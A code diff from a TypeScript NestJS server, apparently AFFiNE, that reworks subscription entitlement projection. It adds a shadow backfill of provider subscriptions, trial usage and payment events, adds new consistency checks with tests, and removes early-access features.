recurring: SubscriptionRecurring.Yearly,
status: SubscriptionStatus.Active,
externalSubscriptionId: 'sub_provider_without_entitlement',
periodStart: new Date(),
periodEnd: new Date('2099-01-01T00:00:00.000Z'),
},
});
const report = await t.context.checker.checkEntitlementProjection();
t.is(report.providerActiveEntitlementMissing, 1);
});
test('checker reports entitlements missing active provider facts', async t => {
const user = await t.context.models.user.create({
email: `${randomUUID()}@affine.pro`,
});
await t.context.entitlement.upsertFromCloudSubscription({
targetId: user.id,
plan: SubscriptionPlan.Pro,
recurring: SubscriptionRecurring.Yearly,
status: SubscriptionStatus.Active,
stripeSubscriptionId: 'sub_entitlement_without_active_provider',
});
const report = await t.context.checker.checkEntitlementProjection();
t.is(report.entitlementProviderMissing, 1);
});
@@ -60,6 +60,10 @@ test('projects user entitlement to legacy user features and subscriptions', asyn
recurring: SubscriptionRecurring.Monthly,
status: 'active',
});
await t.context.projection.onEntitlementChanged({
targetType: 'user',
targetId: user.id,
});
t.true(await t.context.models.userFeature.has(user.id, 'pro_plan_v1'));
t.true(await t.context.models.userFeature.has(user.id, 'unlimited_copilot'));
@@ -95,6 +99,10 @@ test('projects workspace entitlement and readonly state to legacy workspace feat
status: 'active',
quantity: 8,
});
await t.context.projection.onEntitlementChanged({
targetType: 'workspace',
targetId: workspace.id,
});
const teamFeature = await t.context.models.workspaceFeature.get(
workspace.id,
@@ -296,6 +304,135 @@ test('backfill removes dangling legacy subscriptions and entitlements', async t
t.is(await t.context.db.entitlement.count(), 0);
});
test('shadow backfill preserves legacy rows and records provider facts', async t => {
const user = await t.context.models.user.create({
email: `${randomUUID()}@affine.pro`,
});
const paidAiUser = await t.context.models.user.create({
email: `${randomUUID()}@affine.pro`,
});
const owner = await t.context.models.user.create({
email: `${randomUUID()}@affine.pro`,
});
const workspace = await t.context.models.workspace.create(owner.id);
const danglingTargetId = randomUUID();
await t.context.db.subscription.createMany({
data: [
{
targetId: user.id,
stripeSubscriptionId: 'sub_ai_trial',
plan: SubscriptionPlan.AI,
recurring: SubscriptionRecurring.Yearly,
status: SubscriptionStatus.Active,
start: new Date('2026-01-01T00:00:00.000Z'),
trialStart: new Date('2026-01-01T00:00:00.000Z'),
trialEnd: new Date('2026-01-08T00:00:00.000Z'),
},
{
targetId: paidAiUser.id,
stripeSubscriptionId: 'sub_ai_paid',
plan: SubscriptionPlan.AI,
recurring: SubscriptionRecurring.Yearly,
status: SubscriptionStatus.Active,
start: new Date('2026-01-01T00:00:00.000Z'),
},
{
targetId: danglingTargetId,
plan: SubscriptionPlan.Pro,
recurring: SubscriptionRecurring.Yearly,
status: SubscriptionStatus.Active,
start: new Date('2026-01-01T00:00:00.000Z'),
},
],
});
await t.context.db.invoice.create({
data: {
stripeInvoiceId: 'in_backfill_lifetime',
targetId: user.id,
currency: 'usd',
amount: 9999,
status: 'paid',
reason: 'subscription_create',
},
});
await t.context.db.installedLicense.create({
data: {
key: 'shadow-license-key',
workspaceId: workspace.id,
quantity: 3,
recurring: SubscriptionRecurring.Yearly,
validateKey: 'shadow-validate-key',
validatedAt: new Date(),
},
});
await t.context.projection.shadowBackfillEntitlementsAndQuotaStates();
t.truthy(
await t.context.db.subscription.findFirst({
where: { targetId: danglingTargetId },
})
);
t.like(
await t.context.db.providerSubscription.findUnique({
where: {
provider_externalSubscriptionId: {
provider: 'stripe',
externalSubscriptionId: 'sub_ai_trial',
},
},
}),
{
targetType: 'user',
targetId: user.id,
plan: SubscriptionPlan.AI,
status: SubscriptionStatus.Active,
}
);
t.truthy(
await t.context.db.subscriptionTrialUsage.findUnique({
where: {
targetType_targetId_plan: {
targetType: 'user',
targetId: user.id,
plan: SubscriptionPlan.AI,
},
},
})
);
t.falsy(
await t.context.db.subscriptionTrialUsage.findUnique({
where: {
targetType_targetId_plan: {
targetType: 'user',
targetId: paidAiUser.id,
plan: SubscriptionPlan.AI,
},
},
})
);
t.like(
await t.context.db.paymentEvent.findUnique({
where: {
provider_externalEventId: {
provider: 'stripe',
externalEventId: 'stripe_invoice:in_backfill_lifetime',
},
},
}),
{
targetId: user.id,
externalInvoiceId: 'in_backfill_lifetime',
amount: 9999,
processingStatus: 'processed',
}
);
t.false(
await t.context.models.workspaceFeature.has(workspace.id, 'team_plan_v1')
);
});
test('key based selfhost entitlements without raw payload need reupload', async t => {
const owner = await t.context.models.user.create({
email: `${randomUUID()}@affine.pro`,
@@ -16,6 +16,8 @@ export class EntitlementProjectionChecker {
selfhostLicenseProjectionMissing,
cloudSubscriptionEntitlementMissing,
selfhostLicenseEntitlementMissing,
providerActiveEntitlementMissing,
entitlementProviderMissing,
dirtyLegacyUserFeatures,
dirtyLegacyWorkspaceFeatures,
missingUserFeatureProjection,
@@ -41,6 +43,8 @@ export class EntitlementProjectionChecker {
this.selfhostLicenseProjectionMissing(),
this.cloudSubscriptionEntitlementMissing(),
this.selfhostLicenseEntitlementMissing(),
this.providerActiveEntitlementMissing(),
this.entitlementProviderMissing(),
this.dirtyLegacyUserFeatures(),
this.dirtyLegacyWorkspaceFeatures(),
this.missingUserFeatureProjection(),
@@ -56,6 +60,8 @@ export class EntitlementProjectionChecker {
selfhostLicenseProjectionMissing,
cloudSubscriptionEntitlementMissing,
selfhostLicenseEntitlementMissing,
providerActiveEntitlementMissing,
entitlementProviderMissing,
dirtyLegacyUserFeatures,
dirtyLegacyWorkspaceFeatures,
missingUserFeatureProjection,
@@ -147,6 +153,39 @@ export class EntitlementProjectionChecker {
return licenses.filter(license => !validKeys.has(license.key)).length;
}
private async providerActiveEntitlementMissing() {
const activeProviderKeys = await this.activeProviderSubscriptionKeys();
const valid = new Set(
(
await this.validEntitlements({
source: 'cloud_subscription',
})
).map(
entitlement =>
`${entitlement.targetId}:${this.subscriptionPlan(entitlement.plan)}`
)
);
return activeProviderKeys.filter(key => !valid.has(key)).length;
}
private async entitlementProviderMissing() {
const activeProviderKeys = new Set(
await this.activeProviderSubscriptionKeys()
);
const entitlements = await this.validEntitlements({
source: 'cloud_subscription',
});
return entitlements.filter(
entitlement =>
entitlement.targetId &&
!activeProviderKeys.has(
`${entitlement.targetId}:${this.subscriptionPlan(entitlement.plan)}`
)
).length;
}
private async dirtyLegacyUserFeatures() {
const rows = await this.db.userFeature.findMany({
where: {
@@ -287,4 +326,22 @@ export class EntitlementProjectionChecker {
private subscriptionPlan(plan: string) {
return plan === 'lifetime_pro' ? 'pro' : plan;
}
private async activeProviderSubscriptionKeys() {
const now = new Date();
const subscriptions = await this.db.providerSubscription.findMany({
where: {
status: { in: ['active', 'trialing', 'past_due'] },
OR: [{ periodEnd: null }, { periodEnd: { gt: now } }],
},
select: {
targetId: true,
plan: true,
},
});
return subscriptions.map(
subscription => `${subscription.targetId}:${subscription.plan}`
);
}
}
@@ -1,5 +1,5 @@
import { Injectable } from '@nestjs/common';
import { Entitlement, PrismaClient } from '@prisma/client';
import { Entitlement, IapStore, PrismaClient, Provider } from '@prisma/client';
import { OnEvent } from '../../base';
import { Models } from '../../models';
@@ -52,44 +52,65 @@ export class LegacyEntitlementProjectionService {
await this.#projectReadonlyFeature(workspaceId);
}
async scanInstalledLicenses() {
async scanInstalledLicenses(options: { emit?: boolean } = {}) {
const licenses = await this.db.installedLicense.findMany();
const emit = options.emit ?? true;
await Promise.all(
licenses.map(async license =>
license.license
? await this.entitlement.upsertFromSelfhostLicense({
workspaceId: license.workspaceId,
licenseKey: license.key,
recurring: license.recurring,
quantity: license.quantity,
expiresAt: license.expiredAt,
validatedAt: license.validatedAt,
license: Buffer.from(license.license),
})
: license.validateKey
? await this.entitlement.upsertFromValidatedSelfhostLicense({
? await this.entitlement.upsertFromSelfhostLicense(
{
workspaceId: license.workspaceId,
licenseKey: license.key,
recurring: license.recurring,
quantity: license.quantity,
expiresAt: license.expiredAt,
validatedAt: license.validatedAt,
validateKey: license.validateKey,
variant: license.variant,
})
: await this.entitlement.markSelfhostLicenseNeedsReupload({
workspaceId: license.workspaceId,
licenseKey: license.key,
reason: 'Installed license has no raw payload to verify.',
})
license: Buffer.from(license.license),
},
{ emit }
)
: license.validateKey
? await this.entitlement.upsertFromValidatedSelfhostLicense(
{
workspaceId: license.workspaceId,
licenseKey: license.key,
recurring: license.recurring,
quantity: license.quantity,
expiresAt: license.expiredAt,
validatedAt: license.validatedAt,
validateKey: license.validateKey,
variant: license.variant,
},
{ emit }
)
: await this.entitlement.markSelfhostLicenseNeedsReupload(
{
workspaceId: license.workspaceId,
licenseKey: license.key,
reason: 'Installed license has no raw payload to verify.',
},
{ emit }
)
)
);
}
async backfillEntitlementsAndQuotaStates() {
await this.#cleanupDanglingLegacyEntitlements();
await this.#backfillEntitlementsAndQuotaStates({ cleanupLegacy: true });
}
async shadowBackfillEntitlementsAndQuotaStates() {
await this.#backfillEntitlementsAndQuotaStates({ cleanupLegacy: false });
}
async #backfillEntitlementsAndQuotaStates({
cleanupLegacy,
}: {
cleanupLegacy: boolean;
}) {
const [subscriptions, users, workspaces] = await Promise.all([
this.db.subscription.findMany(),
this.db.user.findMany({ select: { id: true } }),
@@ -101,17 +122,31 @@ export class LegacyEntitlementProjectionService {
continue;
}
if (subscription.plan === SubscriptionPlan.SelfHostedTeam) {
await this.entitlement.markSelfhostLicenseNeedsReupload({
licenseKey: subscription.targetId,
reason:
'Historical self-hosted team subscription needs license activation or revalidation.',
});
await this.entitlement.markSelfhostLicenseNeedsReupload(
{
licenseKey: subscription.targetId,
reason:
'Historical self-hosted team subscription needs license activation or revalidation.',
},
{ emit: cleanupLegacy }
);
continue;
}
await this.entitlement.upsertFromCloudSubscription(subscription);
await this.entitlement.upsertFromCloudSubscription(subscription, {
emit: cleanupLegacy,
legacySync: true,
});
await this.#backfillProviderSubscription(subscription);
if (
subscription.plan === SubscriptionPlan.AI &&
(subscription.trialStart || subscription.trialEnd)
) {
await this.#backfillTrialUsage(subscription);
}
}
await this.scanInstalledLicenses();
await this.#backfillPaymentEvents();
await this.scanInstalledLicenses({ emit: cleanupLegacy });
await Promise.all([
...users.map(user =>
@@ -153,6 +188,206 @@ export class LegacyEntitlementProjectionService {
]);
}
async #backfillProviderSubscription(subscription: {
targetId: string;
plan: string;
recurring: string;
status: string;
provider: Provider | string;
iapStore?: IapStore | null;
rcExternalRef?: string | null;
rcProductId?: string | null;
stripeSubscriptionId?: string | null;
quantity: number;
start: Date;
end?: Date | null;
trialStart?: Date | null;
trialEnd?: Date | null;
canceledAt?: Date | null;
}) {
const targetType =
subscription.plan === SubscriptionPlan.Team ? 'workspace' : 'user';
if (
subscription.provider === 'stripe' &&
subscription.stripeSubscriptionId
) {
await this.db.providerSubscription.upsert({
where: {
provider_externalSubscriptionId: {
provider: 'stripe',
externalSubscriptionId: subscription.stripeSubscriptionId,
},
},
update: {
targetType,
targetId: subscription.targetId,
plan: subscription.plan,
recurring: subscription.recurring,
status: subscription.status,
quantity: subscription.quantity,
periodStart: subscription.start,
periodEnd: subscription.end,
trialStart: subscription.trialStart,
trialEnd: subscription.trialEnd,
canceledAt: subscription.canceledAt,
metadata: { legacySync: true },
},
create: {
provider: 'stripe',
targetType,
targetId: subscription.targetId,
plan: subscription.plan,
recurring: subscription.recurring,
status: subscription.status,
externalSubscriptionId: subscription.stripeSubscriptionId,
quantity: subscription.quantity,
periodStart: subscription.start,
periodEnd: subscription.end,
trialStart: subscription.trialStart,
trialEnd: subscription.trialEnd,
canceledAt: subscription.canceledAt,
metadata: { legacySync: true },
},
});
return;
}
if (
subscription.provider === 'revenuecat' &&
subscription.iapStore &&
subscription.rcExternalRef &&
subscription.rcProductId
) {
await this.db.providerSubscription.upsert({
where: {
provider_iapStore_externalRef_externalProductId_externalCustomerId: {
provider: 'revenuecat',
iapStore: subscription.iapStore,
externalRef: subscription.rcExternalRef,
externalProductId: subscription.rcProductId,
externalCustomerId: subscription.targetId,
},
},
update: {
targetType,
targetId: subscription.targetId,
plan: subscription.plan,
recurring: subscription.recurring,
status: subscription.status,
quantity: subscription.quantity,
periodStart: subscription.start,
periodEnd: subscription.end,
trialStart: subscription.trialStart,
trialEnd: subscription.trialEnd,
canceledAt: subscription.canceledAt,
metadata: { legacySync: true },
},
create: {
provider: 'revenuecat',
targetType,
targetId: subscription.targetId,
plan: subscription.plan,
recurring: subscription.recurring,
status: subscription.status,
externalCustomerId: subscription.targetId,
iapStore: subscription.iapStore,
externalRef: subscription.rcExternalRef,
externalProductId: subscription.rcProductId,
quantity: subscription.quantity,
periodStart: subscription.start,
periodEnd: subscription.end,
trialStart: subscription.trialStart,
trialEnd: subscription.trialEnd,
canceledAt: subscription.canceledAt,
metadata: { legacySync: true },
},
});
}
}
async #backfillTrialUsage(subscription: {
targetId: string;
plan: string;
provider: Provider | string;
stripeSubscriptionId?: string | null;
rcExternalRef?: string | null;
trialStart?: Date | null;
trialEnd?: Date | null;
start: Date;
}) {
await this.db.subscriptionTrialUsage.upsert({
where: {
targetType_targetId_plan: {
targetType: 'user',
targetId: subscription.targetId,
plan: subscription.plan,
},
},
update: {},
create: {
targetType: 'user',
targetId: subscription.targetId,
plan: subscription.plan,
provider:
subscription.provider === 'revenuecat' ? 'revenuecat' : 'stripe',
externalRef:
subscription.stripeSubscriptionId ??
subscription.rcExternalRef ??
null,
firstUsedAt:
subscription.trialStart ??
subscription.trialEnd ??
subscription.start,
metadata: { legacySync: true },
},
});
}
async #backfillPaymentEvents() {
const invoices = await this.db.invoice.findMany();
for (const invoice of invoices) {
await this.db.paymentEvent.upsert({
where: {
provider_externalEventId: {
provider: 'stripe',
externalEventId: `stripe_invoice:${invoice.stripeInvoiceId}`,
},
},
update: {
targetId: invoice.targetId,
externalInvoiceId: invoice.stripeInvoiceId,
amount: invoice.amount,
currency: invoice.currency,
processingStatus: 'processed',
processedAt: invoice.updatedAt,
metadata: {
legacySync: true,
status: invoice.status,
reason: invoice.reason,
},
},
create: {
provider: 'stripe',
eventType: 'invoice.backfill',
externalEventId: `stripe_invoice:${invoice.stripeInvoiceId}`,
targetId: invoice.targetId,
externalInvoiceId: invoice.stripeInvoiceId,
amount: invoice.amount,
currency: invoice.currency,
occurredAt: invoice.createdAt,
processingStatus: 'processed',
processedAt: invoice.updatedAt,
metadata: {
legacySync: true,
status: invoice.status,
reason: invoice.reason,
},
},
});
}
}
async #cleanupDanglingLegacyEntitlements() {
await this.db.$executeRaw`
DELETE FROM entitlements entitlement
@@ -220,6 +455,7 @@ export class LegacyEntitlementProjectionService {
}
async #projectUserFeatures(userId: string) {
// TODO(stable-upgrade): contract legacy feature projection after old clients/resolvers are gone.
const entitlements = await this.#activeEntitlements('user', userId);
const quotaEntitlement = entitlements.find(entitlement =>
['lifetime_pro', 'pro'].includes(entitlement.plan)
@@ -262,6 +498,7 @@ export class LegacyEntitlementProjectionService {
}
async #projectWorkspaceFeatures(workspaceId: string) {
// TODO(stable-upgrade): contract legacy feature projection after old clients/resolvers are gone.
const [entitlement, resolved] = await Promise.all([
this.entitlement.getBestEntitlement('workspace', workspaceId),
this.entitlement.resolveWorkspaceEntitlement(workspaceId),
@@ -290,6 +527,7 @@ export class LegacyEntitlementProjectionService {
targetType: 'user' | 'workspace',
targetId: string
) {
// TODO(stable-upgrade): remove reverse projection after stable no longer depends on old subscriptions.
if (env.selfhosted) return;
const entitlements = await this.db.entitlement.findMany({
where: {
@@ -2,7 +2,7 @@ import { Injectable } from '@nestjs/common';
import { Entitlement, Prisma, PrismaClient } from '@prisma/client';
import { BadRequest, CryptoHelper, EventBus } from '../../base';
import { resolveEntitlementV1 } from '../../native';
import { checkLicenseHealth, resolveEntitlementV1 } from '../../native';
import {
SubscriptionPlan,
SubscriptionRecurring,
@@ -47,15 +47,7 @@ export interface SelfhostLicenseEntitlementInput {
license?: Buffer | null;
}
interface RemoteSelfhostLicense {
plan: string;
recurring: string;
quantity: number;
endAt: number;
}
const REMOTE_SELFHOST_LICENSE_REVALIDATE_INTERVAL = 1000 * 60 * 10;
const REMOTE_SELFHOST_LICENSE_HEALTH_TIMEOUT = 10_000;
declare global {
interface Events {
@@ -306,6 +298,7 @@ export class EntitlementService {
targetType: TargetType,
targetId: string
) {
// TODO(stable-upgrade): remove legacy subscription import after stable no longer writes old subscriptions.
if (env.selfhosted || targetType === 'instance') {
return;
}
@@ -332,7 +325,11 @@ export class EntitlementService {
return task;
}
async upsertFromSelfhostLicense(input: SelfhostLicenseEntitlementInput) {
async upsertFromSelfhostLicense(
input: SelfhostLicenseEntitlementInput,
options: { emit?: boolean } = {}
) {
const emit = options.emit ?? true;
const resolved = input.license
? resolveEntitlementV1({
deploymentType: 'selfhosted',
@@ -380,12 +377,16 @@ export class EntitlementService {
where: { id: entitlement.id },
data,
});
await this.emitEntitlementChanged(updated);
if (emit) {
await this.emitEntitlementChanged(updated);
}
return updated;
}
const created = await this.db.entitlement.create({ data });
await this.emitEntitlementChanged(created);
if (emit) {
await this.emitEntitlementChanged(created);
}
return created;
}
@@ -393,8 +394,10 @@ export class EntitlementService {
input: Omit<SelfhostLicenseEntitlementInput, 'license'> & {
licenseKey: string;
quantity: number;
}
},
options: { emit?: boolean } = {}
) {
const emit = options.emit ?? true;
const entitlement = await this.findBySubject(
'selfhost_license',
input.licenseKey
@@ -423,20 +426,28 @@ export class EntitlementService {
where: { id: entitlement.id },
data,
});
await this.emitEntitlementChanged(updated);
if (emit) {
await this.emitEntitlementChanged(updated);
}
return updated;
}
const created = await this.db.entitlement.create({ data });
await this.emitEntitlementChanged(created);
if (emit) {
await this.emitEntitlementChanged(created);
}
return created;
}
async markSelfhostLicenseNeedsReupload(input: {
workspaceId?: string;
licenseKey: string;
reason: string;
}) {
async markSelfhostLicenseNeedsReupload(
input: {
workspaceId?: string;
licenseKey: string;
reason: string;
},
options: { emit?: boolean } = {}
) {
const emit = options.emit ?? true;
const entitlement = await this.findBySubject(
'selfhost_license',
input.licenseKey
@@ -462,12 +473,16 @@ export class EntitlementService {
where: { id: entitlement.id },
data,
});
await this.emitEntitlementChanged(updated);
if (emit) {
await this.emitEntitlementChanged(updated);
}
return updated;
}
const created = await this.db.entitlement.create({ data });
await this.emitEntitlementChanged(created);
if (emit) {
await this.emitEntitlementChanged(created);
}
return created;
}
@@ -844,44 +859,25 @@ export class EntitlementService {
return cached.entitlement;
}
const endpoint =
process.env.AFFINE_PRO_SERVER_ENDPOINT ?? 'https://app.affine.pro';
const signal = AbortSignal.timeout(REMOTE_SELFHOST_LICENSE_HEALTH_TIMEOUT);
try {
const res = await fetch(
`${endpoint}/api/team/licenses/${entitlement.subjectId}/health`,
{
signal,
headers: {
'Content-Type': 'application/json',
'x-validate-key': metadata.validateKey,
},
}
);
if (!res.ok) {
if (res.status >= 500) {
const res = await checkLicenseHealth({
licenseKey: entitlement.subjectId,
validateKey: metadata.validateKey,
});
if (res.error) {
if (res.error.status >= 500) {
return this.remoteSelfhostFallbackEntitlement(entitlement);
}
await this.markRemoteSelfhostLicenseNeedsReupload(
entitlement,
`Remote license health check failed: ${res.status}`
`Remote license health check failed: ${res.error.status}`
);
return null;
}
const payload = (await res
.json()
.catch(() => null)) as RemoteSelfhostLicense | null;
if (!payload) {
return this.remoteSelfhostFallbackEntitlement(entitlement);
}
const expiresAt = this.remoteSelfhostLicenseExpiresAt(payload.endAt);
if (
payload.plan !== SubscriptionPlan.SelfHostedTeam ||
payload.quantity < 1 ||
!expiresAt
) {
const license = res.license;
if (!license || license.plan !== SubscriptionPlan.SelfHostedTeam) {
await this.markRemoteSelfhostLicenseNeedsReupload(
entitlement,
'Remote license health payload is invalid.'
@@ -889,17 +885,17 @@ export class EntitlementService {
return null;
}
const validateKey =
res.headers.get('x-next-validate-key') ?? metadata.validateKey;
const expiresAt = new Date(license.expiresAt);
const validateKey = license.validateKey || metadata.validateKey;
const [updated] = await Promise.all([
this.db.entitlement.update({
where: { id: entitlement.id },
data: {
status: 'active',
quantity: this.normalizedQuantity(payload.quantity),
quantity: this.normalizedQuantity(license.quantity),
metadata: {
...metadata,
recurring: payload.recurring,
recurring: license.recurring,
validateKey,
remoteValidated: true,
errorCode: null,
@@ -913,8 +909,8 @@ export class EntitlementService {
.updateMany({
where: { key: entitlement.subjectId },
data: {
quantity: this.normalizedQuantity(payload.quantity),
recurring: payload.recurring,
quantity: this.normalizedQuantity(license.quantity),
recurring: license.recurring,
validateKey,
validatedAt: new Date(),
expiredAt: expiresAt,
@@ -950,14 +946,6 @@ export class EntitlementService {
return cached.entitlement;
}
private remoteSelfhostLicenseExpiresAt(endAt: unknown) {
const expiresAt = new Date(endAt as string | number | Date);
if (!Number.isFinite(expiresAt.getTime()) || expiresAt <= new Date()) {
return null;
}
return expiresAt;
}
private async markRemoteSelfhostLicenseNeedsReupload(
entitlement: Entitlement,
reason: string
@@ -5,7 +5,7 @@ import {
AdminFeatureManagementResolver,
UserFeatureResolver,
} from './resolver';
import { EarlyAccessType, FeatureService } from './service';
import { FeatureService } from './service';
@Module({
imports: [EntitlementModule],
@@ -18,5 +18,5 @@ import { EarlyAccessType, FeatureService } from './service';
})
export class FeatureModule {}
export { EarlyAccessType, FeatureService };
export { FeatureService };
export { AvailableUserFeatureConfig } from './types';
@@ -4,11 +4,6 @@ import { Models } from '../../models';
const STAFF = ['@toeverything.info', '@affine.pro'];
export enum EarlyAccessType {
App = 'app',
AI = 'ai',
}
@Injectable()
export class FeatureService {
protected logger = new Logger(FeatureService.name);
@@ -32,15 +27,4 @@ export class FeatureService {
addAdmin(userId: string) {
return this.models.userFeature.add(userId, 'administrator', 'Admin user');
}
// ======== Early Access ========
async isEarlyAccessUser(
userId: string,
type: EarlyAccessType = EarlyAccessType.App
) {
return await this.models.userFeature.has(
userId,
type === EarlyAccessType.App ? 'early_access' : 'ai_early_access'
);
}
}
@@ -5,14 +5,10 @@ import { Feature, UserFeatureName } from '../../models';
@Injectable()
export class AvailableUserFeatureConfig {
availableUserFeatures(): Set<UserFeatureName> {
return new Set([Feature.Admin, Feature.EarlyAccess, Feature.AIEarlyAccess]);
return new Set([Feature.Admin]);
}
configurableUserFeatures(): Set<UserFeatureName> {
return new Set(
env.selfhosted
? [Feature.Admin]
: [Feature.EarlyAccess, Feature.AIEarlyAccess, Feature.Admin]
);
return new Set([Feature.Admin]);
}
}
@@ -1,11 +1,4 @@
import {
Args,
ID,
Int,
Mutation,
ResolveField,
Resolver,
} from '@nestjs/graphql';
import { Args, ID, Mutation, ResolveField, Resolver } from '@nestjs/graphql';
import {
MentionUserDocAccessDenied,
@@ -45,16 +38,6 @@ export class UserNotificationResolver {
return paginate(notifications, 'createdAt', pagination, totalCount);
}
@ResolveField(() => Int, {
description: 'Get user notification count',
deprecationReason:
'Use realtime subscription "notification.count.changed" instead.',
})
async notificationCount(@CurrentUser() me: UserType): Promise<number> {
// DEPRECATED-0.26-COMPAT(realtime): remove after server no longer supports 0.26.x clients.
return await this.service.countByUserId(me.id);
}
@Mutation(() => ID, {
description: 'mention user in a doc',
})
@@ -524,3 +524,73 @@ test('should filter docs by Doc.Publish', async t => {
t.is(docs3.length, 0);
});
test('legacy duplicate doc owner grants do not block projection', async t => {
const owner = await module.create(Mockers.User);
const secondOwner = await module.create(Mockers.User);
const workspace = await module.create(Mockers.Workspace, {
owner,
});
const docId = randomUUID();
await db.$executeRaw`
INSERT INTO workspace_pages (
workspace_id,
page_id,
public,
"defaultRole"
)
VALUES (${workspace.id}, ${docId}, false, ${DocRole.Manager})
`;
await resetProjection(workspace.id);
await db.$transaction(async tx => {
await tx.$executeRaw`
SELECT set_config('affine.permission_projection.enabled', 'off', true)
`;
await tx.$executeRaw`
INSERT INTO workspace_page_user_permissions (
workspace_id,
page_id,
user_id,
type,
created_at
)
VALUES (
${workspace.id},
${docId},
${owner.id},
${DocRole.Owner},
${new Date('2026-01-02T00:00:00Z')}
)
`;
await tx.$executeRaw`
INSERT INTO workspace_page_user_permissions (
workspace_id,
page_id,
user_id,
type,
created_at
)
VALUES (
${workspace.id},
${docId},
${secondOwner.id},
${DocRole.Owner},
${new Date('2026-01-01T00:00:00Z')}
)
`;
});
await models.permissionProjection.backfillLegacyProjection();
const projectedOwners = await db.$queryRaw<{ principalId: string }[]>`
SELECT principal_id AS "principalId"
FROM doc_grants
WHERE workspace_id = ${workspace.id}
AND doc_id = ${docId}
AND role = 'owner'
`;
t.deepEqual(projectedOwners, [{ principalId: secondOwner.id }]);
});
@@ -155,7 +155,6 @@ test('quota service exposes history period in seconds', async t => {
usedStorageQuota: 0,
memberCount: 1,
overcapacityMemberCount: 0,
usedSize: 0,
}).historyPeriod,
'30 days'
);

Some files were not shown because too many files have changed in this diff Show More